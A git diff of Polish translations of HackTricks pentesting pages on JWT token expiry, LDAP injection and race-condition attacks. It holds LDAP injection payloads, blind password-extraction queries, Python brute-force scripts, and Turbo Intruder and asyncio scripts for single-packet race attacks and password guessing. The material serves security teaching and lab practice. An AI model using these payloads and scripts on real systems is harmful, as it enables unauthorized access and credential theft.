Ważność tokenu jest sprawdzana za pomocą claimu "exp" Payload. Biorąc pod uwagę, że JWT często są używane bez informacji sesyjnych, wymagane jest ostrożne postępowanie. W wielu przypadkach przechwycenie i odtworzenie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca zmniejszenie ryzyka ataków polegających na odtwarzaniu JWT poprzez wykorzystanie claimu "exp" do ustawienia czasu ważności tokenu. Ponadto istotne jest, aby aplikacja implementowała odpowiednie sprawdzenia, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera claim "exp" i limity czasowe testów na to pozwalają, zaleca się przechowywanie tokenu i jego odtwarzanie po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasu i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.
* Istnieje ryzyko bezpieczeństwa, jeśli aplikacja nadal waliduje token, ponieważ może to sugerować, że token nigdy nie wygaśnie.
@ -249,9 +249,9 @@ Ważność tokenu jest sprawdzana za pomocą claimu "exp" Payload. Ponieważ JWT
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
Jeśli interesuje Cię **kariera hakera** i hakiowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego zarówno w mowie, jak i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -264,7 +264,7 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -4,7 +4,7 @@
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
@ -16,9 +16,9 @@ Inne sposoby wsparcia HackTricks:
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **zatrudniamy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_biegła znajomość języka polskiego w mowie i piśmie wymagana_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -26,13 +26,13 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **zatrud
### **LDAP**
**Jeśli chcesz dowiedzieć się, co to jest LDAP, odwiedź następującą stronę:**
**Jeśli chcesz dowiedzieć się, czym jest LDAP, odwiedź następującą stronę:**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**Wstrzykiwanie LDAP** to atak, który celuje w aplikacje internetowe, które tworzą instrukcje LDAP na podstawie danych wprowadzanych przez użytkownika. Występuje, gdy aplikacja **nie oczyszcza poprawnie** danych wejściowych, umożliwiając atakującym **manipulowanie instrukcjami LDAP** za pośrednictwem lokalnego proxy, co potencjalnie prowadzi do nieautoryzowanego dostępu lub manipulacji danych.
**Wstrzykiwanie LDAP** to atak wymierzony w aplikacje internetowe, które konstruują instrukcje LDAP na podstawie danych wprowadzanych przez użytkownika. Występuje, gdy aplikacja **nie oczyszcza poprawnie** danych wejściowych, umożliwiając atakującym **manipulowanie instrukcjami LDAP** za pośrednictwem lokalnego proxy, co potencjalnie prowadzi do nieautoryzowanego dostępu lub manipulacji danych.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
@ -62,7 +62,7 @@ Możesz uzyskać dostęp do bazy danych, która może zawierać informacje róż
**ADAM lub Microsoft LDS**: Z 2 filtrami generują błąd.\
**SunOne Directory Server 5.0**: Wykonuje oba filtry.
**Bardzo ważne jest wysłanie filtra z poprawną składnią, w przeciwnym razie zostanie wygenerowany błąd. Lepiej wysłać tylko 1 filtr.**
**Bardzo ważne jest wysłanie filtra z poprawną składnią, w przeciwnym razie zostanie wygenerowany błąd. Lepiej jest wysłać tylko 1 filtr.**
Filtr musi zaczynać się od: `&` lub `|`\
Przykład: `(&(directory=val1)(folder=public))`
@ -135,7 +135,7 @@ password=any
* [Atrybuty LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Atrybuty LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Ślepa Wstrzyknięcie LDAP
### Ślepa Wstrzykiwanie LDAP
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -149,7 +149,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
```
#### Wyciek danych
Możesz iterować po literach ascii, cyfrach i symbolach:
Możesz iterować po literach ASCII, cyfrach i symbolach:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
@ -160,11 +160,9 @@ Możesz iterować po literach ascii, cyfrach i symbolach:
(&(sn=administrator)(password=MB*)) : KO
...
```
### Skrypty
#### **Odkrywanie prawidłowych pól LDAP**
Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być używane do **zapisywania informacji**. Możesz spróbować **przeprowadzić atak siłowy na wszystkie z nich, aby wydobyć te informacje**. Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
Obiekty LDAP **domyślnie zawierają kilka atrybutów**, które mogą być użyte do **zapisywania informacji**. Możesz spróbować **przeprowadzić atak siłowy na wszystkie z nich, aby wydobyć te informacje**. Możesz znaleźć listę [**domyślnych atrybutów LDAP tutaj**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -196,7 +194,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Specjalne ślepe wstrzyknięcie LDAP (bez "\*")**
#### **Specjalne wstrzyknięcie LDAP w ciemno (bez "\*")**
```python
#!/usr/bin/python3
@ -223,15 +221,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakera** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
Jeśli jesteś zainteresowany **karierą w dziedzinie hakowania** i hakiem na to, co niemożliwe - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:

View file

@ -1,80 +1,80 @@
# Wyścig warunkowy
# Warunek wyścigu
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% hint style="warning" %}
Aby uzyskać głębokie zrozumienie tej techniki, sprawdź oryginalne zgłoszenie na stronie [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
Aby uzyskać głębsze zrozumienie tej techniki, sprawdź oryginalny raport na stronie [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Wzmacnianie ataków wyścigowych
## Wzmacnianie ataków warunku wyścigu
Główną przeszkodą w wykorzystaniu wyścigowych warunków jest upewnienie się, że wiele żądań jest obsługiwanych jednocześnie, z **bardzo małą różnicą w czasie ich przetwarzania - idealnie poniżej 1 ms**.
Główną przeszkodą w wykorzystaniu warunków wyścigu jest upewnienie się, że kilka żądań jest obsługiwanych jednocześnie, z **bardzo niewielką różnicą w czasach ich przetwarzania—idealnie poniżej 1 ms**.
Oto kilka technik synchronizacji żądań:
#### Atak pojedynczego pakietu HTTP/2 kontra synchronizacja ostatniego bajtu HTTP/1.1
#### Atak pojedynczym pakietem HTTP/2 kontra synchronizacja ostatniego bajtu HTTP/1.1
- **HTTP/2**: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ fluktuacji sieciowej. Jednak z powodu różnic po stronie serwera, dwie żądania mogą nie wystarczyć do spójnego wykorzystania wyścigowych warunków.
- **HTTP/1.1 'Synchronizacja ostatniego bajtu'**: Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.
* **HTTP/2**: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ zakłóceń sieci. Jednakże, ze względu na zmienności po stronie serwera, dwa żądania mogą nie wystarczyć do spójnego wykorzystania warunku wyścigu.
* **HTTP/1.1 'Synchronizacja ostatniego bajtu'**: Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.
**Przygotowanie do synchronizacji ostatniego bajtu** obejmuje:
1. Wysłanie nagłówków i danych ciała bez zakończenia strumienia.
2. Pauza przez 100 ms po początkowym wysłaniu.
3. Wyłączenie TCP_NODELAY w celu wykorzystania algorytmu Nagle'a do partycjonowania końcowych ramek.
1. Wysłanie nagłówków i danych ciała bez ostatniego bajtu bez zakończenia strumienia.
2. Poczekanie 100 ms po początkowym wysłaniu.
3. Wyłączenie TCP\_NODELAY, aby wykorzystać algorytm Nagle'a do partycjonowania końcowych ramek.
4. Pingowanie w celu rozgrzania połączenia.
Następne wysłanie zatrzymanych ramek powinno skutkować ich dotarciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.
Następne wysłanie zatrzymanych ramek powinno skutkować ich przybyciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.
### Dostosowanie do architektury serwera
Zrozumienie architektury docelowego serwera jest kluczowe. Serwery front-endowe mogą kierować żądania w różny sposób, co wpływa na czasowanie. Wstępne rozgrzewanie połączenia po stronie serwera poprzez nieistotne żądania może znormalizować czasowanie żądań.
Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w inny sposób, wpływając na czasowanie. Wstępne rozgrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czasowanie żądania.
#### Obsługa blokady opartej na sesji
Frameworki takie jak PHP obsługują żądania szeregowo według sesji, co potencjalnie utrudnia wykrycie podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.
Frameworki takie jak obsługa sesji w PHP serializują żądania według sesji, co potencjalnie może zaciemnić podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.
#### Przezwyciężanie limitów częstotliwości lub zasobów
Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów częstotliwości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczego pakietu, wywołując opóźnienie po stronie serwera sprzyjające wyścigowym warunkom.
#### Przezwyciężanie limitów szybkości lub zasobów
Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów szybkości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczym pakietem, wywołując opóźnienie po stronie serwera sprzyjające warunkom wyścigu.
## Przykłady ataków
* **Tubo Intruder - atak pojedynczego pakietu HTTP2 (1 punkt końcowy)**: Możesz wysłać żądanie do **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), możesz zmienić wartość, którą chcesz przeprowadzić atak brute force dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, a następnie wybrać **`examples/race-single-packer-attack.py`** z listy rozwijanej:
* **Tubo Intruder - atak pojedynczym pakietem HTTP2 (1 punkt końcowy)**: Możesz wysłać żądanie do **Turbo Intruder** (`Rozszerzenia` -> `Turbo Intruder` -> `Wyślij do Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz brutalnie siłować dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, a następnie wybrać **`examples/race-single-packer-attack.py`** z listy rozwijanej:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli zamierzasz **wysłać różne wartości**, możesz zmodyfikować kod na taki, który korzysta z listy haseł z schowka:
Jeśli zamierzasz **wysłać różne wartości**, możesz zmodyfikować kod, który korzysta z listy słów z schowka:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Jeśli strona internetowa nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`.
Jeśli witryna nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - atak jednopakietowy HTTP2 (wiele punktów końcowych)**: Jeśli musisz wysłać żądanie do jednego punktu końcowego, a następnie wiele żądań do innych punktów końcowych, aby wywołać RCE, możesz zmodyfikować skrypt `race-single-packet-attack.py` na coś takiego:
* **Tubo Intruder - atak jednopakietowy HTTP2 (Wiele punktów końcowych)**: W przypadku konieczności wysłania żądania do jednego punktu końcowego, a następnie wielu do innych punktów końcowych w celu wywołania RCE, można zmodyfikować skrypt `race-single-packet-attack.py` w następujący sposób:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -105,20 +105,20 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Jest również dostępny w **Repeaterze** za pomocą nowej opcji '**Wysyłaj grupę równolegle**' w Burp Suite.
* Dla **limit-overrun** można po prostu dodać **tę samą prośbę 50 razy** do grupy.
* Dla **rozgrzewania połączenia** można na **początku grupy** dodać kilka **prośb** do niezmiennego elementu serwera internetowego.
* Aby **opóźnić** proces **między** przetwarzaniem **jednej prośby a drugą** w dwóch krokach podstanu, można **dodać dodatkowe prośby między** tymi dwoma prośbami.
* Dla wielopunktowego RC można zacząć wysyłać **prośbę**, która **przechodzi do ukrytego stanu**, a następnie **50 prośb** zaraz po niej, które **wykorzystują ukryty stan**.
* Jest również dostępny w **Repeater** za pośrednictwem nowej opcji '**Wysyłaj grupę równolegle**' w Burp Suite.
* Dla **limit-overrun** można po prostu dodać **tę samą prośbę 50 razy** w grupie.
* Dla **rozgrzewania połączenia**, można **dodać** na **początku** grupy kilka **żądań** do nieustalonej części serwera internetowego.
* Aby **opóźnić** proces **między** przetwarzaniem **jednego żądania i drugiego** w 2 krokach podstanu, można **dodać dodatkowe żądania między** oba żądania.
* Dla **wielopunktowego** RC można zacząć wysyłać **żądanie**, które **przechodzi do ukrytego stanu**, a następnie **50 żądań** zaraz po nim, które **wykorzystują ukryty stan**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Surowy BF
Przed poprzednimi badaniami używano tych ładunków, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować RC.
* **Repeater:** Sprawdź przykłady z poprzedniej sekcji.
* **Intruder**: Wyślij **prośbę** do **Intrudera**, ustaw **liczbę wątków** na **30** w menu **Opcje**, wybierz jako ładunek **Puste ładunki** i wygeneruj **30**.
* **Intruder**: Wyślij **żądanie** do **Intrudera**, ustaw **liczbę wątków** na **30** w menu **Opcje** i wybierz jako ładunek **Puste ładunki** oraz wygeneruj **30.**
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -139,30 +139,6 @@ def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
Python - asyncio to biblioteka do asynchronicznego programowania w języku Python. Pozwala na tworzenie efektywnych i skalowalnych aplikacji, które wykorzystują asynchroniczne operacje wejścia/wyjścia. Biblioteka asyncio dostarcza mechanizmy do obsługi zdarzeń, takich jak wywołania zwrotne (callbacks) i korutyny (coroutines), które umożliwiają równoległe wykonywanie wielu zadań.
Aby rozpocząć korzystanie z asyncio, należy zaimportować moduł `asyncio`. Następnie można zdefiniować funkcje korutynowe przy użyciu słowa kluczowego `async` przed definicją funkcji. Funkcje korutynowe mogą być wywoływane za pomocą funkcji `await`, co pozwala na oczekiwanie na zakończenie innej korutyny bez blokowania wykonywania innych zadań.
Przykład użycia asyncio w Pythonie:
```python
import asyncio
async def hello():
print("Hello")
await asyncio.sleep(1)
print("World")
async def main():
await asyncio.gather(hello(), hello(), hello())
asyncio.run(main())
```
W powyższym przykładzie definiujemy dwie funkcje korutynowe: `hello()` i `main()`. Funkcja `hello()` wypisuje "Hello", czeka przez 1 sekundę przy użyciu `asyncio.sleep(1)`, a następnie wypisuje "World". Funkcja `main()` używa funkcji `asyncio.gather()` do równoczesnego wywołania trzech instancji funkcji `hello()`. Wywołanie `asyncio.run(main())` uruchamia program i wykonuje wszystkie korutyny.
Dzięki bibliotece asyncio w Pythonie można łatwo tworzyć asynchroniczne programy, które są wydajne i skalowalne.
```python
import asyncio
import httpx
@ -192,74 +168,73 @@ asyncio.run(main())
```
## **Metodologia RC**
### Limit przekroczenia / TOCTOU
### Przekroczenie limitu / TOCTOU
To najprostszy rodzaj wyścigówki, w którym występują podatności w miejscach, które ograniczają liczbę razy, jaką można wykonać daną czynność. Na przykład używanie tego samego kodu rabatowego kilka razy w sklepie internetowym. Bardzo łatwy przykład można znaleźć w [**tym raporcie**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**tym błędzie**](https://hackerone.com/reports/759247)**.**
To najbardziej podstawowy rodzaj warunku wyścigowego, w którym **wykrywane są podatności** w miejscach, które **ograniczają liczbę razy, jakie można wykonać akcję**. Na przykład używanie tego samego kodu rabatowego kilka razy w sklepie internetowym. Bardzo łatwy przykład można znaleźć w [**tym raporcie**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**tym błędzie**](https://hackerone.com/reports/759247)**.**
Istnieje wiele wariantów tego rodzaju ataku, w tym:
* Wielokrotne wykorzystanie karty podarunkowej
* Wielokrotne ocenianie produktu
* Wypłacanie lub transferowanie gotówki przekraczającej saldo konta
* Wymienianie karty podarunkowej wielokrotnie
* Ocenianie produktu wielokrotnie
* Wypłacanie lub przekazywanie gotówki w większej ilości niż saldo konta
* Ponowne wykorzystanie jednego rozwiązania CAPTCHA
* Ominięcie limitu szybkości anty-brute-force
### **Ukryte podstany**
Wykorzystywanie złożonych wyścigówek często wiąże się z korzystaniem z krótkotrwałych okazji do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść:
Wykorzystywanie złożonych warunków wyścigowych często polega na korzystaniu z krótkich okazji do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść:
1. **Identyfikacja potencjalnych ukrytych podstanów**
- Zacznij od zlokalizowania punktów końcowych, które modyfikują lub oddziałują na krytyczne dane, takie jak profile użytkowników lub procesy resetowania hasła. Skup się na:
- **Przechowywanie**: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, w przeciwieństwie do tych obsługujących dane po stronie klienta.
- **Działanie**: Szukaj operacji, które zmieniają istniejące dane, ponieważ są bardziej podatne na tworzenie warunków podatnych na atak w porównaniu do tych, które dodają nowe dane.
- **Kluczowanie**: Udane ataki zwykle obejmują operacje kluczowane tym samym identyfikatorem, np. nazwą użytkownika lub tokenem resetowania.
1. **Zidentyfikuj Potencjalne Ukryte Podstany**
* Zacznij od zlokalizowania punktów końcowych, które modyfikują lub współdziałają z krytycznymi danymi, takimi jak profile użytkowników czy procesy resetowania hasła. Skup się na:
* **Przechowywanie**: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, nad tymi obsługującymi dane po stronie klienta.
* **Działanie**: Szukaj operacji, które zmieniają istniejące dane, co bardziej prawdopodobnie stwarza warunki do wykorzystania w porównaniu z tymi dodającymi nowe dane.
* **Kluczowanie**: Udane ataki zazwyczaj obejmują operacje oparte na tym samym identyfikatorze, np. nazwie użytkownika lub tokenie resetowania.
2. **Przeprowadź Początkowe Sondowanie**
* Przetestuj zidentyfikowane punkty końcowe za pomocą ataków warunków wyścigowych, obserwując wszelkie odstępstwa od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować podatność.
3. **Wykaż Podatność**
* Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często tylko dwóch. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjne wymagane czasowanie.
2. **Pierwsze sondowanie**
- Przetestuj zidentyfikowane punkty końcowe za pomocą ataków wyścigówkowych, obserwując wszelkie odstępstwa od oczekiwanych wyników. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą wskazywać na podatność.
### Ataki Zależne od Czasu
3. **Wykazanie podatności**
- Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często tylko dwóch. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjne wymagania czasowe.
Precyzja w czasowaniu żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasu. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasu może pozwolić na identyczne tokeny dla równoczesnych żądań.
### Ataki zależne od czasu
**Aby Wykorzystać:**
Precyzja w czasie żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasowe. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasowych może umożliwić uzyskanie identycznych tokenów dla równoczesnych żądań.
**Aby wykorzystać:**
- Użyj precyzyjnego czasowania, takiego jak atak jednopakietowy, aby wysłać równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność.
* Użyj precyzyjnego czasowania, jak w ataku jednopakietowym, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność.
**Przykład:**
- Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują wadliwe generowanie tokenów.
**Sprawdź ten [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities), aby to wypróbować.**
* Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.
**Sprawdź to** [**Laboratorium PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **aby to wypróbować.**
## Studia przypadków ukrytych podstanów
### Płatność i dodanie przedmiotu
### Zapłać i dodaj przedmiot
Sprawdź ten [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie trzeba płacić**.
Sprawdź to [**Laboratorium PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie trzeba płacić**.
### Potwierdzanie innych adresów e-mail
### Potwierdź inne adresy e-mail
Idea polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny**, aby sprawdzić, czy platforma weryfikuje nowy adres.
